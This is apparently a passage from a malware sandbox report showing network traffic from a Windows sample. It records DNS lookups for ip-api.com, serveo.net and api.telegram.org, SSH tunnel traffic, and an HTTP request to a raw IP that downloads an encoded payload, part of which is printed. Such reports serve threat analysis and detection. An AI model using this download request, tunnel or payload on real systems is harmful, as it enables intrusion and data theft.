Feb 10, 2024 16:17:20.301719904 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:20.318897963 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.416090965 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:20.416420937 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:20.491336107 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.491415977 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.491461992 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.491502047 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.491545916 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.491588116 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.491632938 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.491682053 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.491724014 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.491765976 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.491807938 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.491852045 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.491893053 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.491935968 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.491977930 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492022038 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492063046 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492105961 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492149115 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492192984 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492234945 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492278099 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492320061 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492362976 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492408037 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492449045 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492491007 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492532969 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492574930 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492624998 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492666960 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492707968 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492749929 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492793083 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492835999 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492877960 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492919922 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.492961884 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.493004084 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.493045092 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.493088007 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.493132114 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.493172884 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.493215084 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.493257046 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.493299007 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.493343115 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.493386030 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.493427038 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.493470907 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.493516922 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.496109009 CET	49739	80	192.168.2.4	208.95.112.1
Feb 10, 2024 16:17:20.496886969 CET	49744	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:20.496927023 CET	443	49744	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:20.497072935 CET	49744	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:20.501995087 CET	49744	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:20.502017975 CET	443	49744	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:20.543448925 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:20.543584108 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:20.545486927 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:20.611521006 CET	80	49739	208.95.112.1	192.168.2.4
Feb 10, 2024 16:17:20.611609936 CET	49739	80	192.168.2.4	208.95.112.1
Feb 10, 2024 16:17:20.663587093 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:20.663784027 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:20.691998005 CET	443	49743	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:20.692172050 CET	443	49743	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:20.692562103 CET	49743	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:20.695668936 CET	49743	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:20.748964071 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:20.749596119 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:20.749793053 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:20.871381998 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:20.871464014 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:20.872169018 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:20.920857906 CET	443	49744	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:20.920958042 CET	49744	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:20.923152924 CET	49744	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:20.923166990 CET	443	49744	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:20.923585892 CET	443	49744	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:20.955322027 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:20.955614090 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:20.967243910 CET	49744	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:21.007571936 CET	49744	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:21.049902916 CET	443	49744	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:21.079830885 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.079869986 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.079894066 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.079915047 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.079936981 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.079957962 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.080051899 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:21.080053091 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:21.080053091 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:21.082401037 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:21.084126949 CET	49745	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:21.084172010 CET	443	49745	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:21.084239960 CET	49745	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:21.084604025 CET	49745	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:21.084623098 CET	443	49745	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:21.161072969 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.161575079 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:21.297418118 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:21.297563076 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:21.403270960 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.403456926 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:21.473133087 CET	443	49744	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:21.473311901 CET	443	49744	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:21.473371983 CET	49744	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:21.473900080 CET	49744	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:21.509809017 CET	443	49745	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:21.511885881 CET	49745	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:21.511945963 CET	443	49745	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:21.608808041 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.608882904 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.612914085 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:21.818342924 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.818381071 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.818403006 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.818423033 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.818444967 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.818480968 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:21.818475962 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:21.818476915 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:21.818572044 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:21.821186066 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:21.822941065 CET	49746	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:21.823020935 CET	443	49746	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:21.823122978 CET	49746	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:21.823493958 CET	49746	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:21.823530912 CET	443	49746	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:22.036088943 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:22.036168098 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:22.070139885 CET	443	49745	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:22.070200920 CET	443	49745	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:22.071192980 CET	49745	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:22.075911045 CET	49745	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:22.178201914 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:22.178241968 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:22.178462982 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:22.179250956 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:22.250319004 CET	443	49746	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:22.251621962 CET	49746	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:22.251682043 CET	443	49746	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:22.387151003 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:22.397252083 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:22.605124950 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:22.654850006 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:22.807017088 CET	443	49746	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:22.807200909 CET	443	49746	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:22.807471991 CET	49746	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:22.807703018 CET	49746	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:23.028242111 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:23.028361082 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:23.029496908 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:23.030333042 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:23.235929012 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:23.261353970 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:23.466623068 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:23.514146090 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:37.867306948 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:37.867394924 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:38.723332882 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:38.724828959 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:53.071433067 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:53.075329065 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:53.927589893 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:53.928122044 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:18:08.279517889 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:18:08.279607058 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:18:09.132179022 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:18:09.132299900 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:18:23.483294010 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:18:23.483530998 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:18:24.335359097 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:18:24.335434914 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:18:38.691306114 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:18:38.691412926 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:18:39.539433956 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:18:39.539526939 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:18:53.899416924 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:18:53.899602890 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:18:54.743271112 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:18:54.743417025 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:19:09.107270002 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:19:09.107474089 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:19:09.947406054 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:19:09.947509050 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:19:24.315329075 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:19:24.315613031 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:19:25.151099920 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:19:25.151165962 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:19:28.361043930 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:19:28.372390985 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:19:28.568891048 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:19:28.578094959 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:19:28.585113049 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:19:28.685769081 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:19:28.708792925 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:19:28.831078053 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:19:28.951452971 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:19:43.795293093 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:19:43.795594931 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:19:43.923296928 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:19:43.923386097 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:19:59.003113985 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:19:59.003410101 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:19:59.127135038 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:19:59.127238035 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:20:14.214940071 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:20:14.215151072 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:20:14.331005096 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:20:14.331123114 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:20:29.422979116 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:20:29.423302889 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:20:29.535002947 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:20:29.535103083 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:20:44.631213903 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:20:44.631416082 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:20:44.739269972 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:20:44.739370108 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:20:59.843040943 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:20:59.843226910 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:20:59.943020105 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:20:59.943265915 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:21:15.054945946 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:21:15.055129051 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:21:15.146835089 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:21:15.146929979 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:21:30.262789011 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:21:30.262975931 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:21:30.350822926 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:21:30.350927114 CET	49742	22	192.168.2.4	138.68.79.95

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 10, 2024 16:17:17.405252934 CET	51954	53	192.168.2.4	1.1.1.1
Feb 10, 2024 16:17:17.523276091 CET	53	51954	1.1.1.1	192.168.2.4
Feb 10, 2024 16:17:18.442881107 CET	58800	53	192.168.2.4	1.1.1.1
Feb 10, 2024 16:17:18.678560972 CET	53	58800	1.1.1.1	192.168.2.4
Feb 10, 2024 16:17:19.532113075 CET	52616	53	192.168.2.4	1.1.1.1
Feb 10, 2024 16:17:19.649746895 CET	53	52616	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 10, 2024 16:17:17.405252934 CET	192.168.2.4	1.1.1.1	0xc02b	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 10, 2024 16:17:18.442881107 CET	192.168.2.4	1.1.1.1	0xd06d	Standard query (0)	serveo.net	A (IP address)	IN (0x0001)	false
Feb 10, 2024 16:17:19.532113075 CET	192.168.2.4	1.1.1.1	0xa81f	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Feb 10, 2024 16:17:17.523276091 CET	1.1.1.1	192.168.2.4	0xc02b	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 10, 2024 16:17:18.678560972 CET	1.1.1.1	192.168.2.4	0xd06d	No error (0)	serveo.net	138.68.79.95	A (IP address)	IN (0x0001)	false
Feb 10, 2024 16:17:19.649746895 CET	1.1.1.1	192.168.2.4	0xa81f	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

82.147.85.194

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49729	82.147.85.194	80	6780	C:\Users\user\Desktop\jqOHOuPMJP.exe

Timestamp	Bytes transferred	Direction	Data
Feb 10, 2024 16:17:08.643671036 CET	87	OUT	GET /byte/@jokerbot880901.txt HTTP/1.1 Host: 82.147.85.194 Connection: Keep-Alive
Feb 10, 2024 16:17:08.921837091 CET	1286	IN	HTTP/1.1 200 OK Date: Sat, 10 Feb 2024 15:17:08 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.3.29 Last-Modified: Sat, 10 Feb 2024 11:23:12 GMT ETag: "2ad0c-6110545204780" Accept-Ranges: bytes Content-Length: 175372 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 4e 69 48 72 65 33 68 37 65 33 74 2f 65 33 74 37 68 49 52 37 65 38 4e 37 65 33 74 37 65 33 74 37 4f 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 2b 33 74 37 65 33 56 6b 77 58 56 37 7a 33 4b 32 57 73 4e 36 4e 37 5a 61 4c 78 4d 53 43 46 73 4c 43 52 51 63 43 52 6f 57 57 78 67 61 46 52 55 55 44 31 73 5a 48 6c 73 4a 44 68 56 62 45 68 56 62 50 7a 51 6f 57 78 59 55 48 78 35 56 64 6e 5a 78 58 33 74 37 65 33 74 37 65 33 73 72 50 6e 74 37 4e 33 70 34 65 2f 6c 36 49 4d 52 37 65 33 74 37 65 33 74 37 65 35 74 37 57 58 74 77 65 6b 74 37 65 37 56 36 65 33 74 78 65 33 74 37 65 33 74 37 35 5a 5a 36 65 33 74 62 65 33 74 37 65 33 6c 37 65 33 73 37 65 33 74 62 65 33 74 37 65 58 74 37 66 33 74 37 65 33 74 37 65 33 74 39 65 33 74 37 65 33 74 37 65 33 73 37 65 58 74 37 65 58 74 37 65 33 74 37 65 33 6c 37 47 2f 35 37 65 32 74 37 65 32 74 37 65 33 74 37 61 33 74 37 61 33 74 37 65 33 74 37 65 32 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 7a 65 57 65 6e 73 30 65 33 74 37 65 33 74 35 65 30 4e 38 65 33 74 37 65 33 74 37 65 33 74 37 65 33 75 68 65 6e 75 7a 58 48 74 37 65 31 74 35 65 33 64 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 57 33 74 37 63 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 63 31 74 37 65 7a 4e 37 65 33 74 37 65 33 74 37 65 33 74 37 65 31 55 50 48 67 4d 50 65 33 74 37 33 37 5a 36 65 33 74 62 65 33 74 37 74 58 70 37 65 33 6c 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 31 74 37 65 78 74 56 43 51 67 4a 47 48 74 37 65 30 4e 38 65 33 74 37 65 33 6c 37 65 33 4e 37 65 33 75 72 65 6e 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 73 37 65 33 73 37 56 51 6b 65 46 78 51 59 65 33 74 33 65 33 74 37 65 31 74 35 65 33 74 35 65 33 74 37 6f 33 70 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 4f 33 74 37 4f 58 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 76 37 6c 6e 70 37 65 33 74 37 65 7a 4e 37 65 33 74 35 65 33 35 37 6a 36 68 37 65 79 4e 69 65 6e 74 36 65 33 74 37 54 6e 74 37 66 58 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 33 74 37 65 79 73 77 65 6e 6c 73 63 47 39 37 68 49 53 45 68 49 53 45 68 49 53 45 68 49 53 45 65 33 74 37 65 32 39 37 65 33 74 75 65 33 74 37 62 58 74 37 65 32 78 37 65 33 74 69 65 33 74 37 54 6e 74 37 65 79 74 37 65 33 73 56 65 33 74 37 44 48 74 37 65 77 42 37 65 33 76 38 65 33 74 37 38 6e 74 37 65 2f 46 37 65 33 76 77 65 33 74 37 39 48 74 37 65 39 70 37 65 33 76 5a 65 33 74 37 2f 6e 70 37 65 38 42 36 65 33 76 47 65 6e 74 37 71 6e 70 37 65 34 39 36 65 33 74 35 65 58 74 37 64 6e 6c 37 65 32 6c 35 65 33 74 6b 65 58 74 37 42 33 6c 37 65 36 5a 34 65 33 Data Ascii: NiHre3h7e3t/e3t7hIR7e8N7e3t7e3t7O3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7+3t7e3VkwXV7z3K2WsN6N7ZaLxMSCFsLCRQcCRoWWxgaFRUUD1sZHlsJDhVbEhVbPzQoWxYUHx5VdnZxX3t7e3t7e3srPnt7N3p4e/l6IMR7e3t7e3t7e5t7WXtwekt7e7V6e3txe3t7e3t75ZZ6e3tbe3t7e3l7e3s7e3tbe3t7eXt7f3t7e3t7e3t9e3t7e3t7e3s7eXt7eXt7e3t7e3l7G/57e2t7e2t7e3t7a3t7a3t7e3t7e2t7e3t7e3t7e3t7ezeWens0e3t7e3t5e0N8e3t7e3t7e3t7e3uhenuzXHt7e1t5e3d7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7W3t7c3t7e3t7e3t7e3t7c1t7ezN7e3t7e3t7e3t7e1UPHgMPe3t737Z6e3tbe3t7tXp7e3l7e3t7e3t7e3t7e3t7e1t7extVCQgJGHt7e0N8e3t7e3l7e3N7e3urent7e3t7e3t7e3t7e3s7e3s7VQkeFxQYe3t3e3t7e1t5e3t5e3t7o3p7e3t7e3t7e3t7e3t7O3t7OXt7e3t7e3t7e3t7e3t7e3v7lnp7e3t7ezN7e3t5e357j6h7eyNient6e3t7Tnt7fXt7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7e3t7eyswenlscG97hISEhISEhISEhISEe3t7e297e3tue3t7bXt7e2x7e3tie3t7Tnt7eyt7e3sVe3t7DHt7ewB7e3v8e3t78nt7e/F7e3vwe3t79Ht7e9p7e3vZe3t7/np7e8B6e3vGent7qnp7e496e3t5eXt7dnl7e2l5e3tkeXt7B3l7e6Z4e3
